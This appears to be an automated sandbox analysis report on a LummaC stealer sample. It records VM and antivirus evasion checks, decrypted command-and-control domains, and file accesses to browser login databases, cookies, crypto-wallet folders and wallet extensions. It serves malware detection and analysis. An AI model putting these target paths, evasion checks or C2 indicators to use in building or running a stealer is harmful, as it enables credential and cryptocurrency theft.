Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\2FjvjcayaH.exe TID: 7536	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe TID: 7580	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: Amcache.hve.3.dr	Binary or memory string: VMware
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.3.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.3.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.3.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: 2FjvjcayaH.exe, 00000000.00000002.1925276282.0000000001C98000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001C94000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1764580950.0000000001C95000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001C9C000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000002.1925173070.0000000001C4C000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691767292.0000000001C95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.3.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.3.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.3.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.3.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.3.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.3.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.3.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.3.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual RAM
Source: 2FjvjcayaH.exe, 00000000.00000002.1925276282.0000000001C98000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001C94000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1764580950.0000000001C95000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001C9C000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691767292.0000000001C95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: Amcache.hve.3.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.3.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

Code function: 0_2_00435C40 LdrInitializeThunk,

0_2_00435C40

Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BB092B mov eax, dword ptr fs:[00000030h]	0_2_01BB092B
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BB0D90 mov eax, dword ptr fs:[00000030h]	0_2_01BB0D90
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01C1EEC3 push dword ptr fs:[00000030h]	0_2_01C1EEC3

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: 2FjvjcayaH.exe	String found in binary or memory: demonstationfukewko.shop
Source: 2FjvjcayaH.exe	String found in binary or memory: liabilitynighstjsko.shop
Source: 2FjvjcayaH.exe	String found in binary or memory: alcojoldwograpciw.shop
Source: 2FjvjcayaH.exe	String found in binary or memory: incredibleextedwj.shop
Source: 2FjvjcayaH.exe	String found in binary or memory: shortsvelventysjo.shop
Source: 2FjvjcayaH.exe	String found in binary or memory: shatterbreathepsw.shop
Source: 2FjvjcayaH.exe	String found in binary or memory: tolerateilusidjukl.shop
Source: 2FjvjcayaH.exe	String found in binary or memory: productivelookewr.shop
Source: 2FjvjcayaH.exe	String found in binary or memory: strollheavengwu.shop

Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.3.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: 2FjvjcayaH.exe, 00000000.00000002.1925276282.0000000001CE5000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1764580950.0000000001CE5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 2FjvjcayaH.exe PID: 7516, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 2FjvjcayaH.exe, 00000000.00000002.1925276282.0000000001C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: 2FjvjcayaH.exe, 00000000.00000002.1925276282.0000000001CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 2FjvjcayaH.exe, 00000000.00000002.1925276282.0000000001C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 2FjvjcayaH.exe, 00000000.00000002.1925276282.0000000001C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 2FjvjcayaH.exe, 00000000.00000002.1925276282.0000000001CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: 2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001C7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance/R
Source: 2FjvjcayaH.exe, 00000000.00000002.1925276282.0000000001C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: 2FjvjcayaH.exe, 00000000.00000002.1925276282.0000000001CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 2FjvjcayaH.exe, 00000000.00000002.1925276282.0000000001CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
